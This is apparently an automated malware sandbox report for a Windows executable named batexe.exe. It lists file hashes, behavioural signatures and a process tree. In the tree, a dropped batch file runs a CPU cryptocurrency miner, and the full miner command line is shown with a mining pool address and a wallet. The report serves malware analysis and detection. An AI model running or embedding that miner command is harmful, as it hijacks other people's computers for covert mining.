Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    297s
  • max time network
    292s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    23/02/2024, 12:26

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4256
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8E84.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:404
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5600

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe

    Filesize

    12.3MB

    MD5

    e06c656a3544be6b663de42b3099c756

    SHA1

    20b95509658827ff952be98f94dcf2d4e821e17d

    SHA256

    abcc6cdd93257c50263cca51d3b715a75a813d5c428df2d8b5195f02f6da5cd2

    SHA512

    65b03591530b789cca9cdbb265d28eadb9ce44d84ff5d45aef99f9dde5fe98c28b4579087d614657177d7fa4fbc779455c1b36cdc457e22c16065b546a1c05aa

  • C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe

    Filesize

    1.1MB

    MD5

    a43a8e689cd5eb2690d211c1d48e729a

    SHA1

    92acd696234142bf22c8b5f1c1af459f38dc3bf4

    SHA256

    de564130f2706db8cccf91eb5cda9c55b9cb1cf5c775c3eee2d27c4c63ae5adc

    SHA512

    d804a9846c745cebd70e25fc740f2d8ab555e3b66ec9a1199539d08a0bf9c7cc4d2122eb5fb65ad6192835649fc0cc55f08ea2572c131c6b1931be3d30991182

  • C:\Users\Admin\AppData\Local\Temp\89C1.tmp\b2e.exe

    Filesize

    768KB

    MD5

    41acb3c7c35169437c8e50c36e39f5a5

    SHA1

    6b7a95c8fb404247edb7430b46e931495eeba0d1

    SHA256

    77003c5f07279f31ace3879feb99ce0568a05bc7bc56ecd5707bc0581cb6016a

    SHA512

    670b258078f3ccd9e3e710a994d95d406094dab87b4e4e11e3b312a7883631877ea896bc53150cb8b9bb8a0500df129005973212fce0541978df505edbe7d145

  • C:\Users\Admin\AppData\Local\Temp\8E84.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.6MB

    MD5

    9e080c2fa098a18032868b74edcdad78

    SHA1

    fc1e64eed0d449700b18d9d8d20c2c2e50875b4c

    SHA256

    8675e8bea0e9600f172c066331714e2880b69115169f581f813b0bfad01bcba4

    SHA512

    2ea8e8e5ad5296ead1152eb58d639e89b0f19d2c6649a3fc5d9c1406d545b9bc839d7f22adc5ff52517c9e3cfca2ab5f26a20086df95230ecced8b96fd924fbc

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.1MB

    MD5

    361575d9475bdf57e8236f74c879a2e9

    SHA1

    dbaf40b1ff849e265f23f190fe90791464474746

    SHA256

    d58e4e555b337ab76527240e022c93a6fd777549bfb40879805b1da0a39a295b

    SHA512

    1b6f381b74b0483e2c2292c4c8867fc90957a13b4d1c9e6bc6879c0300ffddc9c342dfa9491147f871039700830ddf1abf273aac05b0cd16e07d6b2dafa9f350

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.5MB

    MD5

    efc5f3f63a42a1221e43cde0b3d176e6

    SHA1

    364d8fcd58c71fe93c679e09d8a97adb9c4bf764

    SHA256

    ae95238305370e6544165a1000c9ed4ad62b3923b78b637979ae9b152b0111fe

    SHA512

    65949455ff98e79cb1e7c84559a49d880aaee0d3576b55bc054581ce91cc630c420856ce8755124e3e3fdbb8ced27f32bb28478f633ca1a820d98372bacda06a

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/4256-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4256-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4684-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/5600-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/5600-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-46-0x000000005DD80000-0x000000005DE18000-memory.dmp

    Filesize

    608KB

  • memory/5600-47-0x0000000001070000-0x0000000002925000-memory.dmp

    Filesize

    24.7MB

  • memory/5600-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/5600-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5600-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB